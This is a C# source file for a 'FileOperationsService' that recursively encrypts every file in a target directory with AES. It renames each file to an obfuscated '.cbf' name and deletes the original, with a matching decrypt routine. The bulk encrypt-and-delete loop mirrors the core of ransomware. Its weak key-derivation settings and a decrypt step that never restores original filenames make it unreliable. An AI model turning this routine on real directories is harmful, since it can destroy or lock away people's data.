-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFileOperationsService.cs
More file actions
447 lines (381 loc) · 15.8 KB
/
FileOperationsService.cs
File metadata and controls
447 lines (381 loc) · 15.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security; // For SecurityException
using System.Security.Cryptography;
using System.Text;
namespace CyberUtils
{
public class FileOperationsService
{
private readonly FileOperationsSettings _settings;
private const string EncryptedFileExtension = ".cbf"; // Custom extension for encrypted files
public FileOperationsService(FileOperationsSettings settings)
{
_settings = settings ?? throw new ArgumentNullException(nameof(settings));
if (string.IsNullOrWhiteSpace(_settings.TargetDirectory))
{
throw new ArgumentException("TargetDirectory cannot be empty. Check configuration.", nameof(settings.TargetDirectory));
}
// Directory existence check deferred to methods that use it, allows service creation even if dir missing initially.
if (string.IsNullOrWhiteSpace(_settings.EncryptionKey))
{
throw new ArgumentException("EncryptionKey cannot be empty. Check configuration.", nameof(settings.EncryptionKey));
}
}
// --- Core Recursive File Finder ---
// (Same as before, handles exceptions gracefully)
public IEnumerable<string> GetAllFilesRecursive()
{
if (!Directory.Exists(_settings.TargetDirectory))
{
Console.WriteLine($"Error: Directory not found: {_settings.TargetDirectory}");
return Enumerable.Empty<string>();
}
try
{
// Use EnumerateFiles for better memory efficiency
return Directory.EnumerateFiles(_settings.TargetDirectory, "*", SearchOption.AllDirectories);
}
catch (UnauthorizedAccessException ex)
{
PrintOperationError($"Access denied while searching directory: {ex.Message}", _settings.TargetDirectory);
return Enumerable.Empty<string>();
}
catch (DirectoryNotFoundException ex) // Could happen in rare cases during enumeration
{
PrintOperationError($"Directory vanished during search?: {ex.Message}", _settings.TargetDirectory);
return Enumerable.Empty<string>();
}
catch (Exception ex) // Catch other potential exceptions
{
PrintOperationError($"An error occurred while searching files: {ex.Message}", _settings.TargetDirectory);
return Enumerable.Empty<string>();
}
}
// --- Finder (Displays files) ---
public void FindAndDisplayFiles()
{
Console.WriteLine($"\n--- Finding Files in [{_settings.TargetDirectory}] and subdirectories ---");
int count = 0;
try
{
foreach (string file in GetAllFilesRecursive())
{
Console.WriteLine($" Found: {file}"); // Indent for clarity
count++;
}
Console.WriteLine($"--- Found {count} files ---");
}
catch (Exception ex) // Should be caught by GetAllFilesRecursive mostly, but belt-and-suspenders
{
PrintOperationError($"Error during file listing: {ex.Message}", "(Listing)");
}
}
public void DecryptFiles()
{
Console.WriteLine($"\n--- Decrypting Files in [{_settings.TargetDirectory}] ---");
// Counters for reporting
int totalFiles = 0;
int successCount = 0;
int errorCount = 0;
try
{
// Get all encrypted files in the directory (recursively)
var encryptedFiles = GetAllFilesRecursive()
.Where(f => Path.GetExtension(f).Equals(EncryptedFileExtension, StringComparison.OrdinalIgnoreCase))
.ToList();
if (encryptedFiles.Count == 0)
{
Console.WriteLine("No encrypted files found.");
return;
}
// Process each file
foreach (string filePath in encryptedFiles)
{
totalFiles++;
try
{
Console.WriteLine($"Processing [{totalFiles}]: {filePath}");
// Generate output filename (remove .cbf extension)
string outputFileName = Path.GetFileNameWithoutExtension(filePath);
string decryptedFilePath = Path.Combine(
Path.GetDirectoryName(filePath) ?? _settings.TargetDirectory,
outputFileName);
Console.WriteLine($" Decrypting -> {Path.GetFileName(decryptedFilePath)}");
// Decrypt the file
DecryptFile(_settings.EncryptionKey, filePath, decryptedFilePath);
// Delete encrypted file only after successful decryption
File.Delete(filePath);
successCount++;
}
catch (Exception ex)
{
errorCount++;
PrintOperationError($"Failed to decrypt file", filePath, ex);
}
}
// Final report
Console.WriteLine($"\n--- Decryption Complete ---");
Console.WriteLine($"Total files processed: {totalFiles}");
Console.WriteLine($"Successfully decrypted: {successCount}");
Console.WriteLine($"Errors encountered: {errorCount}");
}
catch (Exception ex)
{
PrintOperationError($"An error occurred during decryption process", _settings.TargetDirectory, ex);
throw;
}
}
public void EncryptFiles()
{
Console.WriteLine($"\n--- Encrypting Files in [{_settings.TargetDirectory}] with extension '{EncryptedFileExtension}' ---");
// Counters for reporting
int totalFiles = 0;
int successCount = 0;
int errorCount = 0;
try
{
// Get all files in the directory (recursively)
var allFiles = GetAllFilesRecursive();
// Process each file
foreach (string filePath in allFiles)
{
totalFiles++;
// Skip files that are already encrypted
if (Path.GetExtension(filePath).Equals(EncryptedFileExtension, StringComparison.OrdinalIgnoreCase))
{
Console.WriteLine($"Skipping already encrypted file: {filePath}");
continue;
}
try
{
Console.WriteLine($"Processing [{totalFiles}]: {filePath}");
string originalFileName = Path.GetFileName(filePath);
string originalFileNameBase64 = Convert.ToBase64String(Encoding.UTF8.GetBytes(originalFileName))
.Replace('/', '_').Replace('+', '-').Replace("=", ""); // Make it filesystem-safe
string encryptedFilePath = Path.Combine(
Path.GetDirectoryName(filePath) ?? _settings.TargetDirectory,
originalFileNameBase64 + EncryptedFileExtension);
Console.WriteLine($" Encrypting -> {Path.GetFileName(encryptedFilePath)}");
// Encrypt the file
EncryptFile(_settings.EncryptionKey, filePath, encryptedFilePath);
// Delete original file only after successful encryption
File.Delete(filePath);
successCount++;
}
catch (Exception ex)
{
errorCount++;
PrintOperationError($"Failed to encrypt file", filePath, ex);
}
}
// Final report
Console.WriteLine($"\n--- Encryption Complete ---");
Console.WriteLine($"Total files processed: {totalFiles}");
Console.WriteLine($"Successfully encrypted: {successCount}");
Console.WriteLine($"Errors encountered: {errorCount}");
}
catch (Exception ex)
{
PrintOperationError($"An error occurred during encryption process", _settings.TargetDirectory, ex);
throw;
}
}
// --- ENCRYPTOR (Enhanced Version) ---
private const int KeySize = 256;
private const int DerivationIterations = 1000;
public void EncryptFile(string password, string sourceFile, string destFile)
{
try
{
byte[] saltBytes = GenerateRandomSalt();
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
using (var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, DerivationIterations, HashAlgorithmName.SHA256))
{
byte[] keyBytes = key.GetBytes(KeySize / 8);
using (var aesAlg = Aes.Create())
{
aesAlg.Key = keyBytes;
aesAlg.IV = GenerateRandomIV();
using (FileStream fsInput = new FileStream(sourceFile, FileMode.Open, FileAccess.Read))
using (FileStream fsOutput = new FileStream(destFile, FileMode.Create))
{
// Write the salt and IV to the beginning of the file
fsOutput.Write(BitConverter.GetBytes(saltBytes.Length), 0, 4);
fsOutput.Write(saltBytes, 0, saltBytes.Length);
fsOutput.Write(BitConverter.GetBytes(aesAlg.IV.Length), 0, 4);
fsOutput.Write(aesAlg.IV, 0, aesAlg.IV.Length);
// Encrypt
using (CryptoStream cryptoStream = new CryptoStream(
fsOutput, aesAlg.CreateEncryptor(), CryptoStreamMode.Write))
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = fsInput.Read(buffer, 0, buffer.Length)) > 0)
{
cryptoStream.Write(buffer, 0, bytesRead);
}
cryptoStream.FlushFinalBlock();
}
}
}
}
}
catch (Exception ex)
{
throw new Exception("File encryption failed", ex);
}
}
// Add these exception classes inside FileOperationsService class
public class WrongPasswordException : Exception
{
public WrongPasswordException(string message) : base(message) { }
}
public class PayloadCorruptedException : Exception
{
public PayloadCorruptedException(string message) : base(message) { }
}
public void DecryptFile(string password, string sourceFile, string destFile)
{
try
{
using (FileStream fsInput = new FileStream(sourceFile, FileMode.Open, FileAccess.Read))
{
// Read the salt length
byte[] lenBytes = new byte[4];
EnsureFullRead(fsInput, lenBytes, 4);
int saltLength = BitConverter.ToInt32(lenBytes, 0);
// Read the salt
byte[] saltBytes = new byte[saltLength];
EnsureFullRead(fsInput, saltBytes, saltLength);
// Read the IV length
EnsureFullRead(fsInput, lenBytes, 4);
int ivLength = BitConverter.ToInt32(lenBytes, 0);
// Read the IV
byte[] iv = new byte[ivLength];
EnsureFullRead(fsInput, iv, ivLength);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
using (var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, DerivationIterations, HashAlgorithmName.SHA256))
{
byte[] keyBytes = key.GetBytes(KeySize / 8);
using (var aesAlg = Aes.Create())
{
aesAlg.Key = keyBytes;
aesAlg.IV = iv;
using (FileStream fsOutput = new FileStream(destFile, FileMode.Create))
using (CryptoStream cryptoStream = new CryptoStream(
fsInput, aesAlg.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = cryptoStream.Read(buffer, 0, buffer.Length)) > 0)
{
fsOutput.Write(buffer, 0, bytesRead);
}
}
}
}
}
}
catch (CryptographicException)
{
throw new WrongPasswordException("Invalid password or corrupted file");
}
catch (Exception ex)
{
throw new PayloadCorruptedException($"File decryption failed: {ex.Message}");
}
}
private void EnsureFullRead(FileStream stream, byte[] buffer, int bytesToRead)
{
int bytesRead = 0;
int remainingBytes = bytesToRead;
while (bytesRead < bytesToRead)
{
int readNow = stream.Read(buffer, bytesRead, remainingBytes);
if (readNow == 0) // End of stream reached before reading all bytes
throw new PayloadCorruptedException("Unexpected end of file, the encrypted file appears to be corrupted.");
bytesRead += readNow;
remainingBytes -= readNow;
}
}
private byte[] GenerateRandomSalt()
{
byte[] salt = new byte[32];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
return salt;
}
private byte[] GenerateRandomIV()
{
using (var aes = Aes.Create())
{
aes.GenerateIV();
return aes.IV;
}
}
// --- Helper Methods ---
private string GetSafeTempDirectory()
{
string tempDir = _settings.TempDirectory;
if (string.IsNullOrWhiteSpace(tempDir))
{
return Path.GetTempPath(); // Use system default
}
try
{
if (!Directory.Exists(tempDir))
{
Directory.CreateDirectory(tempDir);
Console.WriteLine($"Created custom temp directory: {tempDir}");
}
return tempDir;
}
catch (Exception ex)
{
PrintOperationError($"Error accessing/creating custom temp directory '{tempDir}'. Using system temp path instead.", tempDir, ex);
return Path.GetTempPath(); // Fallback to system temp on error
}
}
private void CleanupTempFile(string filePath)
{
if (File.Exists(filePath))
{
try
{
File.Delete(filePath);
// Console.WriteLine($" Cleaned up temp file: {Path.GetFileName(filePath)}"); // Optional: Verbose cleanup logging
}
catch (Exception ex)
{
PrintOperationError($"Failed to clean up temporary file: {filePath}", filePath, ex);
// Log or handle inability to clean up temp file if critical
}
}
}
private void HandleFileException(Exception ex, string contextMessage, string filePath, ref int errorCounter)
{
errorCounter++;
PrintOperationError(contextMessage, filePath, ex);
}
private static void PrintOperationError(string message, string? associatedPath = null, Exception? ex = null)
{
Console.ForegroundColor = ConsoleColor.Red;
string errorMsg = $"Error: {message}";
if (!string.IsNullOrEmpty(associatedPath)) {
errorMsg += $" (File/Path: {associatedPath})";
}
if (ex != null)
{
// Print basic exception message. Avoid full stack trace unless debugging.
errorMsg += $" | Details: {ex.GetType().Name} - {ex.Message}";
}
Console.WriteLine(errorMsg);
Console.ResetColor();
}
}
}